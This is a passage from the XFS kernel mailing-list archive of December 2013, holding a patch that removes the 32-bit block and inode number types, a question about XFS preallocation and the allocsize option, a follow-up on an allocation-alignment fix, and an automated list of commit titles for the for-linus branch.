> > /* Used for sanity checks on superblock */ > -#define XFS_MAX_DBLOCKS(s) ((xfs_drfsbno_t)(s)->sb_agcount * (s)->sb_agblocks) > -#define XFS_MIN_DBLOCKS(s) ((xfs_drfsbno_t)((s)->sb_agcount - 1) * \ > +#define XFS_MAX_DBLOCKS(s) ((xfs_rfsblock_t)(s)->sb_agcount * (s)->sb_agblocks) > +#define XFS_MIN_DBLOCKS(s) ((xfs_rfsblock_t)((s)->sb_agcount - 1) * \ > (s)->sb_agblocks + XFS_MIN_AG_BLOCKS) > > /* > diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c > index cfee14a..cb2677c 100644 > --- a/fs/xfs/xfs_inode_fork.c > +++ b/fs/xfs/xfs_inode_fork.c > @@ -526,7 +526,7 @@ xfs_iroot_realloc( > ifp->if_broot_bytes = (int)new_size; > ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= > XFS_IFORK_SIZE(ip, whichfork)); > - memmove(np, op, cur_max * (uint)sizeof(xfs_dfsbno_t)); > + memmove(np, op, cur_max * (uint)sizeof(xfs_fsblock_t)); > return; > } > > @@ -573,7 +573,7 @@ xfs_iroot_realloc( > ifp->if_broot_bytes); > np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, new_broot, 1, > (int)new_size); > - memcpy(np, op, new_max * (uint)sizeof(xfs_dfsbno_t)); > + memcpy(np, op, new_max * (uint)sizeof(xfs_fsblock_t)); > } > kmem_free(ifp->if_broot); > ifp->if_broot = new_broot; > diff --git a/fs/xfs/xfs_inum.h b/fs/xfs/xfs_inum.h > index 90efdaf..4ff2278 100644 > --- a/fs/xfs/xfs_inum.h > +++ b/fs/xfs/xfs_inum.h > @@ -54,11 +54,7 @@ struct xfs_mount; > #define XFS_OFFBNO_TO_AGINO(mp,b,o) \ > ((xfs_agino_t)(((b) << XFS_INO_OFFSET_BITS(mp)) | (o))) > > -#if XFS_BIG_INUMS > #define XFS_MAXINUMBER ((xfs_ino_t)((1ULL << 56) - 1ULL)) > -#else > -#define XFS_MAXINUMBER ((xfs_ino_t)((1ULL << 32) - 1ULL)) > -#endif > #define XFS_MAXINUMBER_32 ((xfs_ino_t)((1ULL << 32) - 1ULL)) > > #endif /* __XFS_INUM_H__ */ > diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h > index f9bb590..9dc1349 100644 > --- a/fs/xfs/xfs_linux.h > +++ b/fs/xfs/xfs_linux.h > @@ -21,18 +21,6 @@ > #include > > /* > - * XFS_BIG_BLKNOS needs block layer disk addresses to be 64 bits. > - * XFS_BIG_INUMS requires XFS_BIG_BLKNOS to be set. > - */ > -#if defined(CONFIG_LBDAF) || (BITS_PER_LONG == 64) > -# define XFS_BIG_BLKNOS 1 > -# define XFS_BIG_INUMS 1 > -#else > -# define XFS_BIG_BLKNOS 0 > -# define XFS_BIG_INUMS 0 > -#endif > - > -/* > * Kernel specific type declarations for XFS > */ > typedef signed char __int8_t; > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index f0969c7..aff12f2 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -380,7 +380,7 @@ typedef struct xfs_icdinode { > xfs_ictimestamp_t di_mtime; /* time last modified */ > xfs_ictimestamp_t di_ctime; /* time created/inode modified */ > xfs_fsize_t di_size; /* number of bytes in file */ > - xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ > + xfs_rfsblock_t di_nblocks; /* # of direct & btree blocks used */ > xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ > xfs_extnum_t di_nextents; /* number of extents in data fork */ > xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ > @@ -516,7 +516,7 @@ xfs_blft_from_flags(struct xfs_buf_log_format *blf) > * EFI/EFD log format definitions > */ > typedef struct xfs_extent { > - xfs_dfsbno_t ext_start; > + xfs_fsblock_t ext_start; > xfs_extlen_t ext_len; > } xfs_extent_t; > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index da88f16..1053aa2 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -172,13 +172,9 @@ xfs_sb_validate_fsb_count( > ASSERT(PAGE_SHIFT >= sbp->sb_blocklog); > ASSERT(sbp->sb_blocklog >= BBSHIFT); > > -#if XFS_BIG_BLKNOS /* Limited by ULONG_MAX of page cache index */ > + /* Limited by ULONG_MAX of page cache index */ > if (nblocks >> (PAGE_CACHE_SHIFT - sbp->sb_blocklog) > ULONG_MAX) > return EFBIG; > -#else /* Limited by UINT_MAX of sectors */ > - if (nblocks << (sbp->sb_blocklog - BBSHIFT) > UINT_MAX) > - return EFBIG; > -#endif > return 0; > } > > diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c > index a6a76b2..4176e8d 100644 > --- a/fs/xfs/xfs_rtalloc.c > +++ b/fs/xfs/xfs_rtalloc.c > @@ -944,9 +944,9 @@ xfs_growfs_rt( > xfs_buf_t *bp; /* temporary buffer */ > int error; /* error return value */ > xfs_mount_t *nmp; /* new (fake) mount structure */ > - xfs_drfsbno_t nrblocks; /* new number of realtime blocks */ > + xfs_rfsblock_t nrblocks; /* new number of realtime blocks */ > xfs_extlen_t nrbmblocks; /* new number of rt bitmap blocks */ > - xfs_drtbno_t nrextents; /* new number of realtime extents */ > + xfs_rtblock_t nrextents; /* new number of realtime extents */ > uint8_t nrextslog; /* new log2 of sb_rextents */ > xfs_extlen_t nrsumblocks; /* new number of summary blocks */ > uint nrsumlevels; /* new rt summary levels */ > diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h > index 35061d4..c24a9ab 100644 > --- a/fs/xfs/xfs_sb.h > +++ b/fs/xfs/xfs_sb.h > @@ -104,11 +104,11 @@ struct xfs_trans; > typedef struct xfs_sb { > __uint32_t sb_magicnum; /* magic number == XFS_SB_MAGIC */ > __uint32_t sb_blocksize; /* logical block size, bytes */ > - xfs_drfsbno_t sb_dblocks; /* number of data blocks */ > - xfs_drfsbno_t sb_rblocks; /* number of realtime blocks */ > - xfs_drtbno_t sb_rextents; /* number of realtime extents */ > + xfs_rfsblock_t sb_dblocks; /* number of data blocks */ > + xfs_rfsblock_t sb_rblocks; /* number of realtime blocks */ > + xfs_rtblock_t sb_rextents; /* number of realtime extents */ > uuid_t sb_uuid; /* file system unique id */ > - xfs_dfsbno_t sb_logstart; /* starting block of log if internal */ > + xfs_fsblock_t sb_logstart; /* starting block of log if internal */ > xfs_ino_t sb_rootino; /* root inode number */ > xfs_ino_t sb_rbmino; /* bitmap inode for realtime extents */ > xfs_ino_t sb_rsumino; /* summary inode for rt bitmap */ > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index d971f49..0eeb30c 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -204,9 +204,6 @@ xfs_parseargs( > */ > mp->m_flags |= XFS_MOUNT_BARRIER; > mp->m_flags |= XFS_MOUNT_COMPAT_IOSIZE; > -#if !XFS_BIG_INUMS > - mp->m_flags |= XFS_MOUNT_SMALL_INUMS; > -#endif > > /* > * These can be overridden by the mount option parsing. > @@ -313,11 +310,6 @@ xfs_parseargs( > mp->m_flags |= XFS_MOUNT_SMALL_INUMS; > } else if (!strcmp(this_char, MNTOPT_64BITINODE)) { > mp->m_flags &= ~XFS_MOUNT_SMALL_INUMS; > -#if !XFS_BIG_INUMS > - xfs_warn(mp, "%s option not allowed on this system", > - this_char); > - return EINVAL; > -#endif > } else if (!strcmp(this_char, MNTOPT_NOUUID)) { > mp->m_flags |= XFS_MOUNT_NOUUID; > } else if (!strcmp(this_char, MNTOPT_BARRIER)) { > diff --git a/fs/xfs/xfs_super.h b/fs/xfs/xfs_super.h > index bbe3d15..31f757c 100644 > --- a/fs/xfs/xfs_super.h > +++ b/fs/xfs/xfs_super.h > @@ -44,16 +44,6 @@ extern void xfs_qm_exit(void); > # define XFS_REALTIME_STRING > #endif > > -#if XFS_BIG_BLKNOS > -# if XFS_BIG_INUMS > -# define XFS_BIGFS_STRING "large block/inode numbers, " > -# else > -# define XFS_BIGFS_STRING "large block numbers, " > -# endif > -#else > -# define XFS_BIGFS_STRING > -#endif > - > #ifdef DEBUG > # define XFS_DBG_STRING "debug" > #else > @@ -64,7 +54,6 @@ extern void xfs_qm_exit(void); > #define XFS_BUILD_OPTIONS XFS_ACL_STRING \ > XFS_SECURITY_STRING \ > XFS_REALTIME_STRING \ > - XFS_BIGFS_STRING \ > XFS_DBG_STRING /* DBG must be last */ > > struct xfs_inode; > diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h > index 82bbc34..14e3d87 100644 > --- a/fs/xfs/xfs_types.h > +++ b/fs/xfs/xfs_types.h > @@ -38,43 +38,18 @@ typedef __int32_t xfs_tid_t; /* transaction identifier */ > typedef __uint32_t xfs_dablk_t; /* dir/attr block number (in file) */ > typedef __uint32_t xfs_dahash_t; /* dir/attr hash value */ > > -/* > - * These types are 64 bits on disk but are either 32 or 64 bits in memory. > - * Disk based types: > - */ > -typedef __uint64_t xfs_dfsbno_t; /* blockno in filesystem (agno|agbno) */ > -typedef __uint64_t xfs_drfsbno_t; /* blockno in filesystem (raw) */ > -typedef __uint64_t xfs_drtbno_t; /* extent (block) in realtime area */ > -typedef __uint64_t xfs_dfiloff_t; /* block number in a file */ > -typedef __uint64_t xfs_dfilblks_t; /* number of blocks in a file */ > - > -/* > - * Memory based types are conditional. > - */ > -#if XFS_BIG_BLKNOS > typedef __uint64_t xfs_fsblock_t; /* blockno in filesystem (agno|agbno) */ > typedef __uint64_t xfs_rfsblock_t; /* blockno in filesystem (raw) */ > typedef __uint64_t xfs_rtblock_t; /* extent (block) in realtime area */ > -typedef __int64_t xfs_srtblock_t; /* signed version of xfs_rtblock_t */ > -#else > -typedef __uint32_t xfs_fsblock_t; /* blockno in filesystem (agno|agbno) */ > -typedef __uint32_t xfs_rfsblock_t; /* blockno in filesystem (raw) */ > -typedef __uint32_t xfs_rtblock_t; /* extent (block) in realtime area */ > -typedef __int32_t xfs_srtblock_t; /* signed version of xfs_rtblock_t */ > -#endif > typedef __uint64_t xfs_fileoff_t; /* block number in a file */ > -typedef __int64_t xfs_sfiloff_t; /* signed block number in a file */ > typedef __uint64_t xfs_filblks_t; /* number of blocks in a file */ > > +typedef __int64_t xfs_srtblock_t; /* signed version of xfs_rtblock_t */ > +typedef __int64_t xfs_sfiloff_t; /* signed block number in a file */ > > /* > * Null values for the types. > */ > -#define NULLDFSBNO ((xfs_dfsbno_t)-1) > -#define NULLDRFSBNO ((xfs_drfsbno_t)-1) > -#define NULLDRTBNO ((xfs_drtbno_t)-1) > -#define NULLDFILOFF ((xfs_dfiloff_t)-1) > - > #define NULLFSBLOCK ((xfs_fsblock_t)-1) > #define NULLRFSBLOCK ((xfs_rfsblock_t)-1) > #define NULLRTBLOCK ((xfs_rtblock_t)-1) ---end quoted text--- From xfs@tlinx.org Tue Dec 10 12:06:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3AA887F66 for ; Tue, 10 Dec 2013 12:06:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BE1FAAC011 for ; Tue, 10 Dec 2013 10:06:28 -0800 (PST) X-ASG-Debug-ID: 1386698786-04cbb04168683f30001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id hwK3pmtxiPACpW6I (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 10:06:27 -0800 (PST) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBAI6OaN015656 for ; Tue, 10 Dec 2013 10:06:26 -0800 Message-ID: <52A75820.9090004@tlinx.org> Date: Tue, 10 Dec 2013 10:06:24 -0800 From: LA Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: xfs-oss Subject: Q: about xfs pre-allocation Content-Type: text/plain; charset=UTF-8; format=flowed X-ASG-Orig-Subj: Q: about xfs pre-allocation Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1386698787 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142992 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e Could someone comment on my [mis-]understanding in regards to what the note below said that was posted by someone else to another list. The pre-allocation behavior for XFS that the note describes doesn't jive w/what I thought happened and I was wondering if my brain was out of date or something (at least in regards to this topic! ;-)). Names elided from Original Message, below for no great reason... I thought file space pre-allocation ended when you closed the file?? But this note from the open-suse list indicates that, at least with ext2, a kernel thread removes this later. I thought the FS-space allocator gave *preference* to having the next file start at least "filesize%('allocsize || 64K')" from the end of the previous, BUT, if needed it will allocate space from the end of the previous file (rounded to fs-blocksize) if space is really that tight. -------- Original Message -------- FFFF, Modern filesystems use preallocation. Per ext2 already had it by 2005. That means when a file is created and written to they automatically allocate a unused tail at the end of each file. Then some time later (hours / days) they have a background kernel thread that scavenges any tails that are still unused. The positive is that files (like logs) growing slowly over time won't get fragmented so badly. The bad is that for highspeed filesystem filling tasks like a massive rsync, the disk usage is anomalously high for a while (hours / days). With XFS you can disable pre-allocation via the allocsize mount parameter. (That parameter has been around many years. so yes 11.4 has preallocation for XFS at a minimum and ext3/ext4 I think.) allocsize=size Sets the buffered I/O end-of-file preallocation size when doing delayed allocation writeout (default size is 64KiB). Valid values for this option are page size (typically 4KiB) through to 1GiB, inclusive, in power-of-2 increments. size = 0 disables preallocation and is probably smart on your distination backup disk. I assume other filesystems have a way to disable preallocation as well. FYI: I don't know how to determine the total amount of preallocation space on a filesystem. I'm sure it can be done somehow. gggg ---- To unsubscribe, e-mail: opensuse+unsubscribe@opensuse.org To contact the owner, e-mail: opensuse+owner@opensuse.org From BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 10 13:18:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2646B7F74 for ; Tue, 10 Dec 2013 13:18:15 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 16882304067 for ; Tue, 10 Dec 2013 11:18:12 -0800 (PST) X-ASG-Debug-ID: 1386703090-04cb6c537c681280001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id V2svRxsVzQTcoskF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 11:18:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+86b229dfdd27afc694a3+3761+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqSol-00088J-V7; Tue, 10 Dec 2013 19:18:03 +0000 Date: Tue, 10 Dec 2013 11:18:03 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Martin Boutin , "Kernel.org-Linux-RAID" , Eric Sandeen , "Kernel.org-Linux-EXT4" , xfs-oss Subject: Re: Filesystem writes on RAID5 too slow Message-ID: <20131210191803.GA31162@infradead.org> X-ASG-Orig-Subj: Re: Filesystem writes on RAID5 too slow References: <528A5C45.4080906@redhat.com> <20131119005740.GY6188@dastard> <20131121092606.GU11434@dastard> <20131121234116.GD6502@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131121234116.GD6502@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386703091 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142995 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS > xfs: align initial file allocations correctly. > > From: Dave Chinner > > The function xfs_bmap_isaeof() is used to indicate that an > allocation is occurring at or past the end of file, and as such > should be aligned to the underlying storage geometry if possible. > > Commit 27a3f8f ("xfs: introduce xfs_bmap_last_extent") changed the > behaviour of this function for empty files - it turned off > allocation alignment for this case accidentally. Hence large initial > allocations from direct IO are not getting correctly aligned to the > underlying geometry, and that is cause write performance to drop in > alignment sensitive configurations. > > Fix it by considering allocation into empty files as requiring > aligned allocation again. Seems like this one didn't get picked up yet? From bpm@oss.sgi.com Tue Dec 10 13:37:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 661527F75; Tue, 10 Dec 2013 13:37:39 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-linus, updated. xfs-for-linus-v3.13-rc1-2-13364-gffbf221 X-Git-Refname: refs/heads/for-linus X-Git-Reftype: branch X-Git-Oldrev: c31ad439e8d111bf911c9cc80619cebde411a44d X-Git-Newrev: ffbf2210df41793c8a904f0115d519094799977f Message-Id: <20131210193739.661527F75@oss.sgi.com> Date: Tue, 10 Dec 2013 13:37:34 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-linus has been updated ffbf221 xfs: fix infinite loop by detaching the group/project hints from user dquot f94c445 xfs: growfs overruns AGFL buffer on V4 filesystems 2f42d61 xfs: don't perform discard if the given range length is less than block size 31978b5 xfs: underflow bug in xfs_attrlist_by_handle() 6ea9786 Merge tag 'xfs-for-linus-v3.13-rc1-2' of git://oss.sgi.com/xfs/xfs 2fe8c1c xfs: open code inc_inode_iversion when logging an inode 8f80587 xfs: increase inode cluster size for v5 filesystems 9e3908e xfs: fix unlock in xfs_bmap_add_attrfork 7e1a1e9 Merge tag 'xfs-for-linus-v3.13-rc1' of git://oss.sgi.com/xfs/xfs c4a391b writeback: do not sync data dirtied after sync start 359d992 xfs: simplify kmem_{zone_}zalloc d123031 xfs: add tracepoints to AGF/AGI read operations 750b9c9 xfs: trace AIL manipulations 2732036 xfs: xfs_remove deadlocks due to inverted AGF vs AGI lock ordering bb86d21 xfs: fix the extent count when allocating an new indirection array entry 10e6e65 xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields 643f7c4 xfs: fix possible NULL dereference in xlog_verify_iclog 5bf1f43 xfs:xfs_dir2_node.c: pointer use before check for null ad22c7a xfs: prevent stack overflows from page cache allocation 632b89e xfs: fix static and extern sparse warnings a629362 xfs: validity check the directory block leaf entry count b01ef65 xfs: make dir2 ftype offset pointers explicit 1c9a5b2 xfs: convert directory vector functions to constants 24dd0f5 xfs: convert directory vector functions to constants 01ba43b xfs: vectorise encoding/decoding directory headers 4bceb18 xfs: vectorise DA btree operations 4141956 xfs: vectorise directory leaf operations 2ca9877 xfs: vectorise directory data operations part 2 9d23fc8 xfs: vectorise directory data operations 4740175 xfs: vectorise remaining shortform dir2 ops 32c5483 xfs: abstract the differences in dir2/dir3 via an ops vector c963c61 xfs: split xfs_rtalloc.c for userspace sanity a4fbe6a xfs: decouple inode and bmap btree header files 239880e xfs: decouple log and transaction headers d420e5c xfs: remove unused transaction callback variables 9aede1d xfs: split dquot buffer operations out 5706278 xfs: unify directory/attribute format definitions 70a9883 xfs: create a shared header file for format-related information 865e944 xfs: fold xfs_change_file_space into xfs_ioc_space 83aee9e xfs: simplify the fallocate path 5f8aca8 xfs: always hold the iolock when calling xfs_change_file_space 001a3e7 xfs: remove the unused XFS_ATTR_NONBLOCK flag 76ca4c2 xfs: always take the iolock around xfs_setattr_size 59e5a0e xfs: don't break from growfs ag update loop on error 31625f2 xfs: don't emit corruption noise on fs probes 08e96e1 xfs: remove newlines from strings passed to __xfs_printk 2c6e24c xfs: prevent deadlock trying to cover an active log 74564fb xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE 88877d2 xfs: push down inactive transaction mgmt for ifree f7be2d7 xfs: push down inactive transaction mgmt for truncate 36b21dd xfs: push down inactive transaction mgmt for remote symlinks 2900a57 xfs: add the inode directory type support to XFS_IOC_FSGEOM b2a42f7 xfs: Use kmem_free() instead of free() 9b3b77f xfs: fix memory leak in xlog_recover_add_to_trans 6d31349 xfs: dirent dtype presence is dependent on directory magic numbers 89c6c89 xfs: lockdep needs to know about 3 dquot-deep nesting d948709 xfs: remove usage of is_bad_inode 17ec81c xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() 0799a3e xfs: get rid of count from xfs_iomap_write_allocate() aaaae98 xfs: Use kmem_free() instead of free() 519ccb8 xfs: fix memory leak in xlog_recover_add_to_trans 367993e xfs: dirent dtype presence is dependent on directory magic numbers f112a04 xfs: lockdep needs to know about 3 dquot-deep nesting 997def2 xfs: fix node forward in xfs_node_toosmall 566055d xfs: log recovery lsn ordering needs uuid check b771af2 xfs: fix XFS_IOC_FREE_EOFBLOCKS definition b313a5f xfs: asserting lock not held during freeing not valid 4885235 xfs: lock the AIL before removing the buffer item e0ea404 Merge tag 'xfs-for-linus-v3.12-rc1-2' of git://oss.sgi.com/xfs/xfs ac4de95 Merge branch 'akpm' (patches from Andrew Morton) 7caef26 truncate: drop 'oldsize' truncate_pagecache() parameter 08474ed xfs: remove dead code from xlog_recover_inode_pass2 aa9e104 xfs: = vs == typo in ASSERT() f5e1dd3 super: fix for destroy lrus 5ca302c list_lru: dynamically adjust node arrays 3516341 xfs: fix dquot isolation hang 2f5b56f xfs-convert-dquot-cache-lru-to-list_lru-fix cd56a39 xfs: convert dquot cache lru to list_lru a408235 xfs: rework buffer dispose list tracking addbda4 xfs-convert-buftarg-lru-to-generic-code-fix e80dfa1 xfs: convert buftarg LRU to generic code 9b17c62 fs: convert inode and dentry shrinking to be node aware 0a234c6 shrinker: convert superblock shrinkers to new API 55f841c super: fix calculation of shrinkable objects for small numbers 74ffa79 xfs: don't assert fail on bad inode numbers 46f9d2e xfs: aborted buf items can be in the AIL. fdd3cce xfs: factor all the kmalloc-or-vmalloc fallback allocations 2dc164f xfs: fix memory allocation failures with ACLs 0a4edc8 xfs: ensure we copy buffer type in da btree root splits daf7b79 xfs: set remote symlink buffer type for recovery 638f4416 xfs: recovery of swap extents operations for CRC filesystems 21b5c97 xfs: swap extents operations for CRC filesystems 0f295a2 xfs: check magic numbers in dir3 leaf verifier first a30b036 xfs: fix some minor sparse warnings e9fbbad xfs: fix endian warning in xlog_recover_get_buf_lsn() 300893b Merge tag 'xfs-for-linus-v3.12-rc1' of git://oss.sgi.com/xfs/xfs 7b7a866 direct-io: Implement generic deferred AIO completions 1d03c6f xfs: XFS_MOUNT_QUOTA_ALL needed by userspace 50fc5f7 xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino 914ed44 Fix wrong flag ASSERT in xfs_attr_shortform_getvalue 904c17e xfs: finish removing IOP_* macros. 2395670 xfs: inode log reservations are too small b121099 xfs: check correct status variable for xfs_inobt_get_rec() call d891400 xfs: inode buffers may not be valid during recovery readahead 50d5c8d xfs: check LSN ordering for v5 superblocks during recovery b58fa55 xfs: btree block LSN escaping to disk uninitialised 3780437 XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 0f0d334 xfs: fix bad dquot buffer size in log recovery readahead 84a5b73 xfs: don't account buffer cancellation during log recovery readahead 0d0ab12 xfs: check for underflow in xfs_iformat_fork() 98f7462 xfs: xfs_dir3_sfe_put_ino can be static 00574da xfs: introduce object readahead to log recovery 8d1d408 xfs: Simplify xfs_ail_min() with list_first_entry_or_null() 46677e6 xfs: Register hotcpu notifier after initialization 3e3c51c xfs: add xfs sb v4 support for dirent filetype field 1c55cec xfs: Add write support for dirent filetype field 0cb9776 xfs: Add read-only support for dirent filetype field 5d5e3d5 xfs: Add support for the Q_XGETQSTATV c2bfbc9 xfs: fix the comment of xfs_mountfs() 2533787 xfs: fix the comment of xfs_sb_quiet_read_verify() 8ba701e xfs: fix the comment of xlog_recover_do_dquot_buffer() 8e159e7 xfs: fix the comment of xfs_log_unmount_write() 0b8182d xfs: fix the comment of xfs_ifree_cluster() 2f21ff1 xfs: fix the comment of xfs_ialloc_ag_select() b3c49634 xfs: fix the comment of xfs_extent_busy_update_extent() 8b4ad79 xfs: fix the comment of xfs_setsize_buftarg_early() ad4809b xfs: fix the comment of xfs_bmap_punch_delalloc_range() 02bb487 xfs: fix the comment of xfs_bmap_last_before() a97f4df xfs: fix the comment of xfs_bmap_validate_ret() 8be11e9 xfs: fix the comment of xfs_bmap_count_tree() c7c1a7d xfs: rename bio_add_buffer() to xfs_bio_add_buffer() 0a94da2 xfs: fix the comment of xlog_find_head() 34be5ff xfs: fix the comment of xlog_recover_buffer_pass2() 5c75390 xfs: remove two unused macro definitions in xfs_linux.h 1cb9386 xfs: fix the comment of xfs_btree_get_iroot() f6c2734 xfs: fix the comment of xfs_iroot_realloc() 7c3e664 xfs: remove one blank line in xfs_btree_make_block_unfull() ac0e300 xfs: fix the comment of xlog_write_setup_copy() 99e738b7 xfs: fix the comment of xfs_mod_incore_sb_unlocked() 49d3da1 xfs: fix the comment of xfs_btree_lookup() b46fe82 xfs: fix the comment of xfs_buf_free() 0471f62 xfs: fix the comment of xfs_check_sizes() 2ad01f5 xfs: use reference counts to free clean buffer items 8c567a7 xfs: add capability check to free eofblocks ioctl b9fe505 xfs: create internal eofblocks structure with kuid_t types 7aab1b2 xfs: convert kuid_t to/from uid_t for internal structures fd5e2aa xfs: ioctl check for capabilities in the current user namespace 288bbe0 xfs: convert kuid_t to/from uid_t in ACLs c5eeb7e xfs: create wrappers for converting kuid_t to/from uid_t 4bb928c xfs: split the CIL lock 991aaf6 xfs: Combine CIL insert and prepare passes f5baac3 xfs: avoid CIL allocation during insert 7492c5b xfs: Reduce allocations during CIL insertion 166d136 xfs: return log item size in IOP_SIZE 050a195 xfs:free bp in xlog_find_tail() error path 5d0a654 xfs: free bp in xlog_find_zeroed() error path 6dd93e9 xfs: avoid double-free in xfs_attr_node_addname 2c2bcc0 xfs: call roundup_64() to calculate the min_logblks 3e7b91c xfs: Validate log space at mount time 5a96a94 xfs: Add xfs_log_rlimit.c e773fc9 xfs: Refactor xfs_ticket_alloc() to extract a new helper f749278 xfs: Get rid of all XFS_XXX_LOG_RES() macro 3d3c8b5 xfs: refactor xfs_trans_reserve() interface 783cb6d xfs: Make writeid transaction use tr_writeid 20996c9 xfs: Introduce tr_fsyncts to m_reservation 0eadd10 xfs: Introduce a new structure to hold transaction reservation items 9356fe2 xfs: make struct xfs_perag kernel only 4f3d71f xfs: move kernel specific type definitions to xfs.h 9b90b0d xfs: xfs_filestreams.h doesn't need __KERNEL__ cb9eabf xfs: remove __KERNEL__ check from xfs_dir2_leaf.c b49a0c1 xfs: remove __KERNEL__ from debug code 63d20d6 xfs: kill __KERNEL__ check for debug code in allocation code 94b4060 xfs: don't special case shared superblock mounts a133d95 xfs: consolidate extent swap code e546cb7 xfs: consolidate xfs_utils.c f6bba20 xfs: consolidate xfs_rename.c c24b5df xfs: kill xfs_vnodeops.[ch] 836a94a xfs: fix issues that cause userspace warnings c5c249b xfs: minor cleanups 6898811 xfs: create xfs_bmap_util.[ch] ff55068 xfs: introduce xfs_sb.c for sharing with libxfs 1fb7e48d xfs: split out the remote symlink handling fde2227 xfs: split out attribute fork truncation code into separate file abec5f2 xfs: split out attribute listing code into separate file 2b9ab5a xfs: reshuffle dir2 definitions around for userspace 4a8af27 